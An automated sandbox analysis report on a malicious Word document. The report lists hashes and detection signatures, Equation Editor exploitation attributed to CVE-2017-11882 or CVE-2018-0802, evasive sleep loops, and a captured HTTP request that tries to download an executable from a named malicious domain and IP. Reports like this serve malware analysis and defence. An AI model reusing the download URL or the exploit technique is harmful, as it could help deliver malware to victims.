Analysis Report 855_28042020.doc

Overview

General Information

Sample Name: 855_28042020.doc
Analysis ID: 356432
MD5: eda54697e6ab436600b8b74102833d7e
SHA1: fe3b1e8337728c74600eab9cb5c9f073e7c04ced
SHA256: 73bccef5c926cefd41f82a329a8ba732bf59195f19c67498ccf162caa6410de1
Tags: doc

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Detection

Score: 60
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Sigma detected: EQNEDT32.EXE connecting to internet
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication

Classification

AV Detection:

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Antivirus / Scanner detection for submitted sample
Source: 855_28042020.doc Avira: detected

Exploits:

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Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: unknown Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

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Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior

Software Vulnerabilities:

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Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: ichiseled.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 5.188.168.36:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 5.188.168.36:80

Networking:

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Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: GHOSTRU GHOSTRU
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /files/whe.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ichiseled.comConnection: Keep-Alive
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A8E8FD7-B28F-4AE5-86AD-026C320EA73C}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /files/whe.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ichiseled.comConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: ichiseled.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 06:45:03 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>3404

System Summary:

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Source: classification engine Classification label: mal60.expl.winDOC@4/6@1/1
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$5_28042020.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRC071.tmp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1748 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2824 Thread sleep time: -120000s >= -30000s Jump to behavior
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behaviorgraph top1 signatures2 2 Behavior Graph ID: 356432 Sample: 855_28042020.doc Startdate: 23/02/2021 Architecture: WINDOWS Score: 60 15 Antivirus / Scanner detection for submitted sample 2->15 17 Sigma detected: EQNEDT32.EXE connecting to internet 2->17 5 EQNEDT32.EXE 9 2->5         started        9 WINWORD.EXE 336 18 2->9         started        11 EQNEDT32.EXE 2->11         started        process3 dnsIp4 13 ichiseled.com 5.188.168.36, 49167, 80 GHOSTRU Luxembourg 5->13 19 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 5->19 signatures5
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
5.188.168.36
unknown Luxembourg
202422 GHOSTRU true

Contacted Domains

Name IP Active
ichiseled.com 5.188.168.36 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://ichiseled.com/files/whe.exe true
  • Avira URL Cloud: safe
unknown